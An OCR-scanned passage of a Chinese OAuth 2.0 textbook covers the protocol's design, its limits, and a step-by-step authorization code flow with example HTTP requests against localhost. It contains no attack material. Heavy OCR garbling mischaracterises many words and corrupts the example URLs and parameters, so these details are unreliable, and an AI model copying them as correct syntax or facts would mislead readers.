以 使 风险 最 小 化 。 通 过 灰 名 单 功能 ， 系 统 的 可 扩展 性 得 到 了 极 大 提升 ， 同 时 又 不 牺牲 安全 性 。 
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图 1-9 平行 的 信任 分 级 
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传统 的 策略 管理 





OAuth 2.0 非常 善于 获取 用 户 的 委托 决策 ， 并 通过 网 络 传递 出 去 。 它 允许 多 方 参与 安全 决策 
过 程 , 尤其 是 在 运行 期 间 让 最 终 用 户 参与 决策 。 它 是 由 多 个 可 移动 的 组 件 构 成 的 协议 , 但 是 在 很 









































多 方面 它 都 比 其 他 方案 更 简单 、 更 安全 。 





OAuth 2.0 的 设计 中 有 一 个 重要 的 假设 ， 就 是 不 受 控 的 客户 端 总 是 比 授权 服务 需 或 者 受 保护 
资源 多 出 好 几 个 数量 级 ( 如 图 1-10 所 示 ) 这 是 合理 的 ， 因 为 单个 授权 服务 器 可 以 很 轻松 地 保护 








多 个 资源 服务 器 ,并 且 很 可 能 有 许多 不 同类 型 的 客户 端 想 要 访问 特定 API。 一 台 授 权 服 务 吉 甚至 














可 以 有 多 个 不 同 的 客户 端 信任 等 级 ,第 12 章 将 对 此 进行 更 深入 的 讨论 。 这 样 的 架构 决策 导致 的 
































结果 就 是 ， 尽 可 能 将 复杂 性 从 客户 端 转移 到 服务 端 。 这 对 于 客户 端 开发 人 员 来 说 是 好 事 ， 因 为 客 


户 端 成 了 系统 中 最 简单 的 部 分 。 客 户 端 开发 人 员 不 再 需要 像 在 先前 的 安全 协议 中 那样 ， 处 下 


签名 





规范 化 以 及 解析 复杂 的 安全 策略 文档 , 也 不 需要 担心 处 理 敏感 的 用 户 赁 据 。OAuth 令 牌 提供 了 一 














种 比 密码 略 复杂 的 机 制 ， 但 如 果 使 用 得 当 ， 其 安全 性 要 比 密 码 高 很 多 。 
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图 1-10. OAuth 生态 系统 中 各 组 件 的 相对 数量 


男 一 方面 , 授权 服务 器 和 受 保 护 资源 要 承担 更 多 复杂 性 和 安全 性 方面 的 责任 。 客 户 端 只 要 保 
护 好 自身 的 客户 端 任 据 和 用 户 的 令 牌 即 可 , 单个 客户 端 被 攻破 会 造成 损害 , 但 只 有 该 客户 端的 用 
户 会 受到 影响 。 被 攻破 的 客户 端 也 不 会 泄露 资源 拥有 者 的 凭据 ， 因为 客户 端 根本 没有 机 会 接触 这 
些 凭据 。 然 而 , 授权 服务 絮 则 需要 管理 和 保护 系统 中 所 有 客户 端 和 用 户 的 凭据 和 令 牌 。 虽然 这 确 
实 使 它 更 容易 成 为 攻击 目标 , 但 是 保护 单个 授权 服务 器 要 比 保护 上 千 台 由 不 同 开 发 人 员 开 发 的 客 
户 端 容易 得 多 。 

OAuth 2.0 的 可 扩展 性 和 模块 化 是 其 最 大 的 优势 之 一 ， 因 为 这 使 得 该 协议 适用 于 各 种 环境 。 
然而 , 正 是 这 种 灵活 性 导致 不 同 的 实现 之 间 存 在 基本 的 兼容 性 问题 。 当 开发 人 员 想 在 不 同 的 系统 
上 实现 OAuth 时 ， 它 提供 的 众多 自 定 义 选项 容易 使 人 困惑 。 

更 粳 糕 的 是 , OAuth 的 菜 些 自 定义 选项 可 能 会 被 用 在 错误 的 地 方 或 者 实施 不 当 , 进而 导致 不 安 
全 的 实现 。 这 些 漏洞 在 OAuth 威胁 模型 文档 "以 及 本 书 讲述 漏洞 的 部 分 (第 7~10 3€ ) 有 详细 讨论 。 
可 以 说 ， 即 使 一 个 系统 按照 规范 正确 地 实现 了 OAuth， 也 不 意味 着 该 系统 在 实践 中 就 是 安全 的 。 

AWR, OAuth 2.0 是 一 个 很 好 的 协议 ,但 远 远 称 不 上 完美 。 就 像 所 有 的 技术 一 样 ，OAuth 
2.0 也 会 在 未 来 某 个 时 候 迎 来 它 的 继任 者 ， 但 是 在 写作 本 书 的 时 候 真 正 的 继任 者 还 没有 出 现 。 现 
EAR, OAuth 2.0 的 继任 者 很 可 能 是 它 自身 的 配置 协议 或 者 扩展 协议 。 










































































































































































(D RFC 6819: https://tools.ietf.org/html/rfc6819., 
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1.5 OAuth 2.0 不 能 做 什么 


OAuth 被 许多 不 同类 型 的 API 和 应 用 使 用 , 以 前 所 未 有 的 方式 连接 网 络 世 界 。 即 使 已 经 无 处 
不 在 ,但 OAuth 并 不 是 无 所 不 能 ， 明 确 它 的 能 力 范围 对 理解 协议 本 身 很 重要 。 

由 于 OAuth 被 定义 为 一 个 框架 ,对 于 OAuth 是 什么 和 不 是 什么 , 一 直 未 明确 。 鉴 于 此 处 的 讨 
论 目 的 以 及 本 书 的 目的 ， 我们 所 说 的 OAuth 是 指 OAuth 核心 规范 中 定义 的 协议 ，" 核 心 规范 详 述 
了 一 系列 获取 访问 令 牌 的 方法 ; 还 包括 其 伴随 规范 中 定义 的 bearer SHE, “该 规范 规定 了 这 种 令 牌 
的 用 法 。 获 取 令 牌 和 使 用 令 牌 这 两 个 环节 是 OAuth 的 基本 要 素 。 正 如 我 们 将 在 本 节 中 看 到 的 ， 在 
更 广泛 的 OAuth 生态 系统 中 存在 很 多 其 他 技术 , 它们 配合 OAuth 核心 , 提供 更 多 OAuth 本 身 不 能 
提供 的 功能 。 我 们 认为 , 这 样 的 生态 系统 是 协议 健康 发 展 的 体现 , 但 是 不 应 与 协议 本 身 混为一谈 。 

OAuth 没有 定义 HTTP 协议 之 外 的 情形 。 由 于 使 用 bearer 令 牌 的 OAuth 2.0 并 不 提供 消息 签 
名 ， 因 此 不 应 该 脱离 HTTPS (TLS 上 的 HTTP ) 使 用 。 机 密 信息 需要 在 网 络 上 传播 ， 所 以 OAuth 
需要 TLS 这 样 的 传输 机 制 来 保护 这 些 信息 。 有 一 个 标准 定义 了 如 何在 简单 认证 与 安全 层 ( SASL ) 
之 上 使 用 OAuth 令 牌 。? 也 有 在 受 限 应 用 协议 ( CoAP ) 之 上 使 用 OAuth 的 新 尝试 。? 未 来 还 可 能 
出 现 使 OAuth 的 部 分 处 理 过 程 运行 在 非 TLS 链接 之 上 的 尝试 ( 见 第 15 章 的 讨论 )。 但 即便 如 此 ， 
在 使 用 其 他 协议 和 系统 时 ， 也 需要 有 一 个 明确 的 机 制 来 承担 HTTPS 事务 所 承担 的 任务 。 

OAuth 不 是 身份 认证 协议 , 虽然 可 以 用 它 构建 一 个 。 正如 我 们 将 在 第 13 章 深入 讨论 的 那样 ， 
尽管 用 户 确实 存在 , 但 OAuth 事务 本 身 并 不 透露 关于 用 户 的 信息 。 想 一 想 照片 打印 的 例子 : 照 
片 打印 服务 不 需要 知道 用 户 是 谁 ， 只 需要 有 人 告诉 它 可 以 下 载 照 片 即 可 。OAnuth 本 质 上 只 是 一 个 
部 件 ， 能 用 于 在 更 宏大 的 技术 方案 中 提供 其 他 功能 。 另 外 ，OAuth 在 多 个 地 方 用 到 了 身份 认证 ， 
最 典型 的 就 是 资源 拥有 者 和 客户 端 软件 要 向 授权 服务 器 进行 身份 认证 ,但 这 种 内 骸 身 份 认证 的 行 
为 并 不 会 使 OAuth 自身 成 为 身份 认证 协议 。 

OAuth 没有 定义 用 户 对 用 户 的 授权 机 制 ， 尽 管 它 在 根本 上 是 一 个 用 户 向 软件 授权 的 协议 。 
OAuth 假设 资源 拥有 者 能 够 控制 客户 端 。 要 使 资源 拥有 者 向 另 一 个 用 户 授权 , 仅 使 用 OAuth 是 不 
行 的 。 但 这 种 授权 并 不 罕见 ，User Managed Access 协议 (将 在 第 14 章 中 讨论 ) 就 是 为 此 而 生 ， 
它 规定 了 如 何 使 用 OAuth 构建 一 个 支持 用 户 对 用 户 授权 的 系统 。 

OAuth 没有 定义 授权 处 理 机 制 ，OAuth 提供 了 一 种 方法 来 传达 授权 委托 已 发 生 这 一 事实 , 但 
是 它 并 不 定义 授权 的 内 容 。 相 反 ， 由 服务 API 定义 使 用 权限 范围 、 令 牌 之 类 的 OAuth 组 件 来 定 
义 一 个 给 定 的 令 牌 适用 于 哪些 操作 。 

OAuth 没有 定义 令 牌 格式 。 实 际 上 ,OAuth 协议 明确 声明 了 令 牌 的 内 容 对 客户 端 是 完全 不 透 
明 的 。 这 不 同 于 之 前 的 一 些 安全 协议 ， 如 WS-* 、 安 全 断言 标记 语言 (SAML ) 和 Kerberos, X 
些 协议 都 要 求 客 户 端 应 用 能 够 解析 并 处 理 令 牌 。 但 是 , 颁发 令 牌 的 授权 服务 器 和 接收 令 牌 的 受 保 





























































































































































































































(D RFC 6749: https://tools.ietf.org/html/rfc6749., 
© RFC 6750: https://tools.ietf.org/html/rfc6750., 
@® RFC 7628: https://tools.ietf.org/html/rfc 7628- 
(9 https://tools.ietf.org/html/draft-ietf-ace-oauth-authz 
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护 资 源 仍 然 需 要 理解 令 牌 。 这 个 层面 的 互 操作 性 要 求 催 生 了 JSON Web Token. (JWT ) 格式 和 令 
牌 内 省 协议 ， 这 将 在 第 11 章 讨论 。 虽 然 令 牌 本 身 对 客户 端 还 是 不 透明 的 ， 但 现在 它 的 格式 能 和 
其 他 组 件 理 解 。 

OAuth 2.0 没有 定义 加 密 方法 ， 这 与 OAuth 1.0 不 同 。OAuth 2.0 没有 定义 新 的 加 密 机 制 ， 而 
是 允许 借用 通用 的 加 密 机 制 ， 这 些 加 密 机 制 不 止 适用 于 OAuth。 这 种 有 意 的 遗漏 催生 了 JSON 对 
象 签名 和 加 密 (JOSE ) 规范 套件 ,该 套件 提供 了 一 系列 通用 的 加 密 机 制 ， 可 以 配合 OAuth 使 用 ， 
岂可 以 脱离 OAuth 使 用。 第 11 章 将 详细 说 明 JOSE 规范 ， 第 15 章 会 将 它 用 于 一 种 消息 级 的 加 密 
协议 ， 该 协议 使 用 了 OAuth PoP 令 牌 。 

OAuth 2.0 不 是 单 体 协议 。 如 前 所 述 ， 该 规范 被 分 成 了 多 个 定义 和 流程 ， 每 个 定义 和 流程 都 
有 各 自 适 用 的 场景 。 在 某 种 程度 上 ， 可 以 将 OAuth 2.0 视 为 一 个 安全 协议 生成 器 ， 因 为 它 可 用 于 
为 许多 不 同 的 应 用 场景 设计 安全 架构 。 前 一 节 中 讨论 过 ， 这 些 系 统 并 不 一 定 要 相互 兼容 。 






























































不 同 OAuth 流程 之 间 的 代码 复 用 

虽然 OAuth 的 应 用 种 类 繁多 ,但 在 锭 异 的 应 用 之 间 能 够 复 用 大 量 的 代码 ， 而 谨慎 地 应 用 
OAuth 协议 还 可 以 促进 其 未 来 的 发 展 并 增强 灵活 性 。 例 如 ,假设 有 两 个 后 端 系统 需要 安全 地 交互 ， 
但 不 涉及 特定 用 户 ， 比 如 进行 批量 数据 传输 。 用 传统 的 开发 者 密 钥 就 能 完成 这 个 任务 ， 因 为 客户 
端 和 资源 都 在 同一 个 受信 任 的 安全 域 中 。 但 是 ， 如 果 系 统 使 用 OAuth 客户 端 凭据 许可 (在 第 6 章 
讨论 )， 那 么 系统 可 以 限制 令 牌 的 生命 周期 和 访问 权限 ， 开 发 人 员 则 可 以 在 客户 端 和 受 保护 资源 
端 使 用 现 有 的 OAuth 库 和 框架 ， 而 不 用 去 摘 一 套 完 全 自 定义 的 东西 。 由 于 受 保 护 资源 能 处 理 受 
OAuth 令 牌 保护 的 请 求 ， 因 此 当 未 来 某 个 时 刻 受 保护 资源 希望 以 每 个 用 户 授权 的 方式 提供 数据 服 
务 时 ， 它 就 可 以 很 容易 地 同时 支持 这 两 种 访问 方式 。 例 如 ， 可 以 为 批量 传输 的 数据 和 用 户 专用 的 
数据 设置 不 同 的 权限 范围 ， 这 样 只 需 对 代码 稍 做 改动 ， 受 保护 资源 就 可 以 轻松 区 分 这 两 种 调用 。 








OAuth 无 意 用 一 个 大 而 全 的 协议 去 解决 安全 系统 所 有 方面 的 问题 ， 而 是 只 专注 于 一 件 事 情 ， 
把 剩 下 的 问题 留 给 其 他 组 件 ， 让 它们 各 专 所 长 。 虽 然 还 有 很 多 议题 不 在 OAuth 范围 之 内 , 但 它 
提供 了 一 个 坚实 的 基础 , 可 以 基于 它 构建 其 他 更 具 针对 性 的 工具 , 从 而 使 安全 架构 设计 更 加 完善 。 





























1.6 小结 


OAuth 是 一 个 应 用 广泛 的 安全 标准 , 它 提 供 了 一 种 安全 访问 受 保护 资源 的 方式 , 特别 适用 于 
Web API, 
口 OAuth 关注 的 是 如 何 获 取 令 牌 和 如 何 使 用 令 牌 。 
口 OAuth 是 一 个 委托 协议 ， 提 供 跨 系统 授权 的 方案 。 
口 OAuth 用 可 用 性 和 安全 性 更 高 的 委托 协议 取代 了 密码 共享 反 模式 。 
口 OAuth 专注 于 很 好 地 解决 小 问题 集 ， 因 而 是 整个 安全 系统 中 一 颗 很 合用 的 螺丝 钉 。 
接 下 来 要 学 习 OAuth 是 如 何 做 到 这 一 切 的 ， 你 准备 好 了 吗 ? 请 继续 阅读 下 一 章 。 



















































































OAuth 之 舞 








AEN 

O OAuth 2.0 协议 概述 

O OAuth 2.0 系统 中 的 不 同 组 件 
a 不 同 组 件 如 何 相互 通信 

a 不 同 组 件 交 互 的 内 容 是 什么 











现在 你 已 经 对 OAuth 2.0 协议 及 其 重要 性 有 了 大 致 的 了 解 ， 可 能 也 知道 了 如 何以 及 何 时 使 用 
该 协议 。 但 发 起 一 个 OAuth 事务 需要 哪些 步骤 ? OAuth 事务 完成 的 结果 是 什么 ? 这 个 设计 是 如 何 
保证 安全 的 ? 


2.1 OAuth 2.0 协议 概览 : 获取 和 使 用 令 牌 


OAuth 是 一 个 复杂 的 安全 协议 , 它 需 要 不 同 的 组 件 相互 通信 , 其 精准 平衡 犹如 一 文 技术 之 舞 。 
但 是 从 根本 上 说 , OAuth 事务 中 的 两 个 重要 步骤 是 颁发 令 牌 和 使 用 令 牌 。 令 牌 表示 授予 客户 端的 
访问 权 ， 它 在 OAuth 2.0 的 各 个 部 分 都 起 到 核心 作用 。 尽 管 每 个 步骤 的 细节 会 因 多 种 因素 而 异 ， 
但 是 一 个 规范 的 OAuth 事务 包含 以 下 事件 。 

(1) 资源 拥有 者 向 客户 端 表示 他 希望 客户 端 代表 他 执行 一 些 任务 ( 例如 “从 该 服务 下 载 我 的 
照片 ， 我 想 把 它们 打印 出 来 ”)。 

(2) 客户 端 在 授权 服务 器 上 向 资源 拥有 者 请 求 授权 。 

(3) 资源 拥有 者 许可 客户 端的 授权 请 求 。 

(4) 客户 端 接 收 到 来 自 授 权 服 务 右 的 令 有 牌 。 

(5) 客户 端 向 受 保护 资源 出 示 令 牌 。 

OAuth 流程 的 不 同 部 署 可 以 以 略微 不 同 的 方式 处 理 每 一 步 , 通常 将 多 个 步骤 合并 为 一 个 动作 
以 优化 流程 ， 但 核心 流程 基本 相同 。 接 下 来 看 看 最 典型 的 OAuth 2.0 示例 。 


2.2 OAuth 2.0 授权 许可 的 完整 过 程 
接 下 来 将 详细 介绍 OAuth 授权 许可 的 过 程 。 我 们 将 研究 不 同 参与 方 的 所 有 不 同步 又 ， 追 踪 
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每 一 步 的 HTTP 请 求 和 响应 。 我 们 将 展示 一 个 基于 Web 的 客户 端 应 用 的 授权 码 许可 流程 。 该 客 
户 端 将 以 交互 方式 得 到 资源 拥有 者 的 直接 授权 。 





注意 本 章 的 示例 抽取 自 本 书后 面 会 用 到 的 练习 代码 。 虽 然 在 此 处 你 还 不 需要 理解 这 些 练习 ， 
但 是 如 果 研 究 一 下 附录 A 并 试 着 运行 其 中 一 些 复杂 的 示例 ， 可 能 会 对 你 有 所 帮助 。 另 外 
请 注意 , 在 这 些 示例 中 使 用 localhost 完全 不 是 有 意 为 之 , 因为 OAuth 能 够 也 确实 会 跨 
多 个 独立 主机 工作 。 


授权 码 许可 中 用 到 了 一 个 临时 凭据 一 一 授权 码 一 一 来 表示 资源 拥有 者 同意 向 客户 端 授 权 , 如 
图 2-1 所 示 。 











理 加 载 


资源 拥有 者 向 
授权 服务 器 进 A 
行 身份 认证 


资源 拥有 者 向 
客户 端 授权 


授权 服务 器 将 用 户 代理 

4p EEUU, JH 

ou elo 
用 户 代理 加 载 所 
带 授权 码 的 客户 
端 重 定向 URI 4 











客户 端 将 送 授 权 码 
和 自身 的 凭据 发 送 
至 令 牌 端点 


授权 服务 器 向 客户 O 
端 发 送 访问 令 牌 


客户 端 向 受 保护 次 
源 发 送 访问 令 牌 ”@ 


受 保护 资源 向 客 
户 端 返回 资源 


图 2-1 授权 码 许可 的 详细 过 程 
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我 们 具体 介绍 一 下 这 些 步 又。 首先 ,资源 拥有 者 访问 客户 端 应 用 ,并 表明 他 希望 客户 端 代 表 
自己 去 使 用 某 一 受 保护 资源 。 例 如 , 用 户 会 在 这 一 步 示意 打印 服务 去 使 用 某 个 照片 存储 服务 。 该 
服务 是 个 API， 客 户 端 知道 如 何 调用 它 ， 并 且 还 知道 需要 通过 OAuth 来 调用 。 




















如 何 发 现 服务 器 ? 

为 了 最 大 限度 地 保持 灵活 性 ，OAuth 协议 去 除了 真实 API 系统 的 很 多 细节 。 有 具体 来 说 ， 
OAuth 没有 规定 客户 端 如 何 知悉 与 受 保 护 资源 交互 的 方式 ,或 者 客户 端 如 何 发现 受 保护 资源 对 
应 的 授权 服务 器 。 这 些 问题 一 般 都 由 建立 在 OAuth 之 上 的 其 他 协议 以 标准 方式 解决 ， 例 如 
OpenID Connect 和 User Managed Access (UMA), 第 13 章 和 第 14 章 将 详细 讨论 。 为 了 阐述 
OAuth 本 身 ， 我 们 假设 客户 端 已 有 静态 配置 ， 知 道 如 何 与 受 保 护 资源 和 授权 服务 器 交互 。 





当 客 户 端 发 现 需要 获取 一 个 新 的 OAuth 访问 令 牌 时 ， 它 会 将 资源 拥有 者 重 定向 至 授权 服务 
器 ， 并 附带 一 个 授权 请 求 ， 表 示 它 要 向 资源 拥有 者 请 求 一 些 权 限 〈 如 图 2-2 所 示 )。 例如， 为 了 
能 读 取 照 片 ， 照 片 打 印 服务 可 以 向 照片 存储 服务 请 求 访问 权限 。 














ee 
授权 服务 器 

客户 端 将 资源 拥有 者 重 定向 

至 授权 服务 器 的 授权 端点 
客户 庙 受 保护 资源 





图 2-2 ”将 资源 拥有 者 引导 至 授权 服务 器 以 启动 授权 流程 


由 于 我 们 使 用 的 是 Web 客户 端 ， 因 此 采用 HTTP 重 定向 的 方式 将 用 户 代理 重 定向 至 授权 服 
务 器 的 授权 端点 。 客 户 端 应 用 的 响应 如 下 所 示 : 


HTTP/1.1 302 Moved Temporarily 

x-powered-by: Express 

Location: http://localhost:9001/authorize?response type-code&scope-foo&client 
.idzoauth-client-1&redirect uri=http%3A%2F%2Flocalhost%3A9000%2Fcallbackg& 
State-Lwt50DDOKUB8U7jtfLQCVGDL9cnmwHH1 

Vary: Accept 
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Content-Type: text/html; charset-utf-8 
Content-Length: 444 

Date: Fri, 31 Jul 2015 20:50:19 GMT 
Connection: keep-alive 


这 个 重 定向 响应 导致 浏览 器 向 授权 服务 器 发 送 一 个 GET 请 求 。 


GET /lauthorize?response type-code&scope-foo&client id-oauth-client 
-1&redirect_uri=http%3A%2F%2Flocalhost%3A9000% 
2Fcallback&state=Lwt50DDQKUB8U7jtfLQCVGDL9cnmwHH1 HTTP/1.1 

Host: localhost:9001 

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) 
Gecko/20100101 Firefox/39.0 

Accept: text/html,application/xhtml«xml,application/xml;qz0.9,*/*;qz0.8 
Referer: http://localhost:9000/ 

Connection: keep-alive 


客户 端 通过 在 发 送 给 用 户 的 URL 中 包含 查询 参数 , 来 标识 自己 的 身份 和 要 请 求 的 授权 详情 ， 
如 权限 范围 等 。 虽 然 请 求 并 不 是 由 客户 端 直 接 发 出 的 , 但 授权 服务 器 会 解析 这 些 参数 并 做 出 适当 
的 反应 。 

















HTTP 事务 查看 
所 有 的 HTTP 事务 都 是 使 用 现成 的 工具 查看 的 ， 而 且 这 样 的 工具 有 很 多 。 像 Firefox 插件 
Firebug 这 样 的 浏览 器 检查 工具 ， 可 以 全 方位 监控 和 处 理 前 端 信道 通信 。 后 端 信道 通信 则 可 以 
使 用 代理 系统 或 者 网 络 数据 包 抓 取 工 具 (如 Wireshark 或 者 Fiddler ) 来 监控 


然后 , 授权 服务 器 会 要 求 用 户 进行 身份 认证 。 这 一 步 对 确认 资源 拥有 者 的 身份 以 及 能 向 客户 
端 授予 哪些 权限 来 说 至 关 重 要 ( 如 图 2-3 所 示 )。 








资源 拥有 者 资源 拥有 者 向 授权 服务 器 。 。” 授权 服务 器 
进行 身份 认证 





受 保护 资源 


图 2-3 资源 拥有 者 登录 
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用 户 身份 认证 直接 在 用 户 (和 用 户 的 浏览 器 ) 与 授权 服务 器 之 间 进 行 ， 这 个 过 程 对 客户 端 应 
用 不 可 见 。 这 一 重要 特性 避免 了 用 户 将 自己 的 凭据 透露 给 客户 端 应 用 , 对抗 这 种 反 模 式 正 是 发 明 
OAuth 的 原因 ( 前 一 草 已 讨论 )。 

另外 ， 因 为 资源 拥有 者 通过 浏览 器 与 授权 端点 交互 ， 所 以 也 要 通过 浏览 器 来 完成 身份 认证 。 
因此 ， 有 很 多 身份 认证 技术 可 以 用 于 用 户 身 份 认证 流程 。 OAuth 没有 规定 应 该 使 用 哪 种 身份 认证 
技术 ,授权 服务 器 可 以 自由 选择 ,例如 用 户 名 /密码 、 加 密 证 书 、 安 全 令 牌 、 联 合 单 点 登录 或 者 
其 他 方式 。 在 此 我 们 不 得 不 在 一 定 程 度 上 信任 Web 浏览 器 ,特别 是 当 资 源 拥有 者 使 用 像 用 户 名 
和 密码 这 样 的 简单 身份 认证 方式 时 。 但 是 OAuth 的 设计 已 经 考虑 了 如 何 防 止 多 种 基于 浏览 器 的 
攻击 ， 我 们 将 在 第 7-9 章 介 绍 。 

这 种 隔离 方案 还 使 得 客户 端 不 会 因 用 户 身 份 认证 方式 发 生变 化 而 受到 影响 , 让 简单 的 客户 端 
应 用 也 能 受益 于 授权 服务 器 使 用 的 一 些 新 兴 技 术 ， 例如 基于 风险 的 启发 式 认 证 (risk-based 
heuristic authentication ) 技术 。 然 而 ， 这 种 做 法 并 没有 向 客户 端 传递 任何 有 关 认 证 用 户 的 信息 ， 
第 13 章 会 深入 讨论 这 个 话题 。 

然后 ， 用 户 向 客户 端 应 用 授权 ( 如 图 2-4 所 示 )。 在 这 一 步 ， 资 源 拥有 者 选择 将 一 部 分 权限 
授予 客户 端 应 用 , 授权 服务 器 提供 了 许多 不 同 的 选项 来 实现 这 一 点 。 客户 端 可 以 在 授权 请 求 中 指 
明 其 想 要 获得 哪些 权限 ( 称 为 OAuth 权限 范围 ， 将 在 2.4 节 中 讨论 )。 授 权 服务 器 可 以 允许 用 户 
拒绝 一 部 分 或 者 全 部 权限 范围 ， 也 可 以 让 用 户 批准 或 者 拒绝 整个 授权 请 求 。 


































































































资源 拥有 者 资源 拥有 者 向 客户 端 授权 授权 服务 器 











受 保护 资源 


图 2-4 资源 拥有 者 批准 客户 端的 授权 请 求 
此 外 ,很 多 授权 服务 器 允许 将 授权 决策 保存 下 来 ， 以 便 以 后 使 用 。 如 果 使 用 了 这 种 方式 , JE 
么 未 来 同一 个 客户 端 请 求 同 样 的 授权 时 , 用 户 将 不 会 得 到 提示 。 用 户 仍然 会 被 重 定向 到 授权 端点 ， 
并 且 仍 然 需要 登录 , 但 是 会 跳 过 批准 授权 环节 而 沿用 前 一 次 的 授权 决策 。 授权 服务 器 甚至 可 以 通 
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过 像 客户 端 白 名 单 或 黑 名 单 这 样 的 内 部 策略 来 否决 用 户 的 决策 。 
然后 ， 授 权 服 务 咒 将 用 户 重 定向 回 客 户 端 应 用 (如 网 2-5 所 示 )。 






资源 拥有 者 上 授权 服务 器 
授权 服务 器 将 资源 拥有 者 重 
定向 回 客户 端 并 携带 授权 码 








客户 端 


受 保护 资源 





图 2-5 将 授权 码 发 送 给 客户 端 
这 一 步 采用 HTTP 重 定向 的 方式 ， 回 到 客户 端的 redirect uri; 


HTTP 302 Found 
Location: http://localhost:9000/oauth callback?code-8V1prO0rJ&state-Lwt50DDQKU 
B8U7jtfLQCVGDL9cnmwHH1 


X X ZR SHBCDU V i I8] P A EIE PRO 


GET /callback?code-z8V1prO0rJ&state-Lwt50DDOKUB8U7jtfLQCVGDL9cnmwHH1 
HTTP/1.1 Host: localhost:9000 


请 注意 ， 这 个 HTTP 请 求 是 发 送 给 客户 端 而 不 是 授权 服务 器 的 。 


User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) 
Gecko/20100101 Firefox/39.0 

Accept: text/html,application/xhtml«xml,application/xml;qz0.9,*/*;qz0.8 
Referer: http://localhost:9001/authorize?response type-code&scope-foo&client . 
idszoauth-client-1&redirect uri-http$3A22F$2Flocalhost$3A900022Fcallback& 
State-Lwt50DDOKUB8U7jtfLQCVGDL9cnmwHH1 

Connection: keep-alive 


由 于 使 用 的 是 授权 码 许可 类 型 ， 因 此 该 重 定向 链接 中 包含 一 个 特殊 的 查询 参数 code, iT 
参数 的 值 被 称 为 授权 码 ， 它 是 一 次 性 的 凭据 ， 表 示 用 户 授权 决策 的 结果 。 客 户 端 会 在 接收 到 请 求 
之 后 解析 该 参数 以 获取 授权 码 ， 并 在 下 一 步 使 用 该 授权 码 。 客 户 端 还 会 检查 state 参数 值 是 否 
与 它 在 前 一 个 步 又 中 发 送 的 值 匹配 。 
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现在 客户 端 已 经 得 到 授权 码 ， 它 可 以 将 其 发 送 给 授权 服务 器 的 令 牌 端点 〈 如 图 2-6 所 示 )。 


客户 端 将 授权 码 发 送 至 授权 
服务 器 的 令 牌 端点 


T 


EN 客户 端 使 用 自己 的 凭据 进 行 身份 认证 


客户 端 受 保护 资源 
Hd 2-6 客户 端 将 授权 码 和 自己 的 凭据 发 送 给 授权 服务 器 


客户 端 发 送 一 个 POST 请 求 , 在 HTTP 主体 中 以 表单 格式 传递 参数 ,并 在 HTTP 基本 认证 头 
部 中 设置 client_id 和 client_secret。 这 个 HTTP 请 求 由 客户 端 直 接 发 送 给 授权 服务 器 ， 
浏览 器 或 者 资源 拥有 者 不 参与 此 过 程 。 


POST /token 

Host: localhost:9001 

Accept: application/json 

Content-type: application/x-www-form-encoded 

Authorization: Basic b2F1dGgtY2xpZW50LTE6b2Fl1dGgtY2xpZW5O0LXNl1Y3JldCOx 





授权 服务 器 























grant type-authorization, code& 
redirect uri-http3A£22F$2Flocalhost$3A900022Fcallback&codezs8V1prO0rJ 


这 种 将 不 同 的 HTTP 连接 分 开 的 做 法 保证 了 客户 端 能 够 直接 进行 身份 认证 , 让 其 他 组 件 无 法 
查看 或 者 操作 令 牌 请 求 。 

授权 服务 器 接收 该 请 求 ， 如 果 请 求 有 效 ， 则 颁发 令 牌 ( 如 图 2-7 所 示 )。 授权 服务 器 需要 执 
行 多 个 步 又 以 确保 请 求 是 合法 的 。 首 先 , 它 要 验证 客户 端 凭据 (通过 Authorization 头 部 传递 ) 
以 确定 是 哪个 客户 端 请 求 授权 。 然 后 ， 从 请 求 主体 中 读 取 code 参数 的 值 ， 并 从 中 获取 关于 该 授 
权 码 的 信息 ,包括 发 起 初始 授权 请 求 的 是 哪个 客户 端 , 执行 授权 的 是 哪个 用 户 , 授权 的 内 容 是 什 
么 ,如果 授权 码 有 效 且 尚未 使 用 过 , 而 且 发 起 该 请 求 的 客户 端 与 最 初 发 起 授权 请 求 的 客户 端 相同 ， 
则 授权 服务 器 会 生成 一 个 新 的 访问 令 牌 并 返回 给 客户 端 。 
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授权 服务 器 向 客户 端 颁发 
OAuth 访 问 令 牌 





© 





受 保护 资源 


图 2-7 客户 端 接 收 访问 令 牌 
该 令 牌 以 JSON 对 象 的 格式 通过 HTTP 响应 返回 给 客户 端 。 


HTTP 200 OK 
Date: Fri, 31 Jul 2015 21:19:03 GMT 
Content-type: application/json 


{ 
"access_token": "987tghjkiu6trfghjuytrghj", 


"token_type": "Bearer" 
} 





然后 客户 端 可 以 解析 令 牌 响应 并 从 中 获取 令 牌 的 值 来 访问 受 保护 资源 。 在 这 个 案例 中 , 我 们 
使 用 了 OAuthbearer 令 牌 , 这 是 通过 响应 中 的 token_type 字段 描述 的 。 令 牌 响应 中 还 可 以 包含 
一 个 刷新 令 牌 ( 用 于 获取 新 的 访问 令 牌 而 不 必 重 新 请 求 授权 )， 以 及 一 些 关 于 访问 令 牌 的 附加 信 
息 ， 比 如 令 牌 的 权限 范围 和 过 期 时 间 。 客 户 端 可 以 将 访问 令 牌 存储 在 一 个 安全 的 地 方 ， 以 便 以 后 
在 用 户 不 在 场 时 也 能 够 随时 使 用 。 











bearer 令 牌 的 使 用 权 
OAuth 核心 规范 对 bearer 令 牌 的 使 用 做 了 规定 ,无 论 是 谁 ， 只 要 持 有 bearer 令 牌 就 有 权 使 


用 它 。 除 非特 别 注 明 , 本 书 中 所 有 的 示例 都 使 用 bearer 令 牌 。bearer 令 牌 具 有 特殊 的 安全 属性 ， 
这 将 在 第 10 章 列 举 ， 第 15 章 将 先 介 绍 非 bearer 4$, 


有 了 令 牌 ， 客 户 端 就 可 以 在 访问 受 保护 资源 时 出 示 令 牌 (如 图 2-8 所 示 )。 


2.3 OAuth 中 的 角色 : 客户 端 、 授 权 服 务 器 、 资 源 拥 有 者 、 受 保护 资源 25 








客户 端 O 受 保护 资源 


图 2-8 客户 端 使 用 访问 令 牌 执 行 任务 








客户 端 出 示 令 牌 的 方式 有 多 种 ,本 例 中 将 使 用 备 受 推荐 的 方式 : 使 用 Authorization 头 部 。 


GET /resource HTTP/1.1 

Host: localhost:9002 

Accept: application/json 

Connection: keep-alive 

Authorization: Bearer 987tghjkiu6trfghjuytrghj 


受 保 护 资源 可 以 从 头 部 中 解析 出 令 牌 ,判断 它 是 否 有 效 ,从 中 得 知 授权 者 是 谁 以 及 授权 内 容 ， 
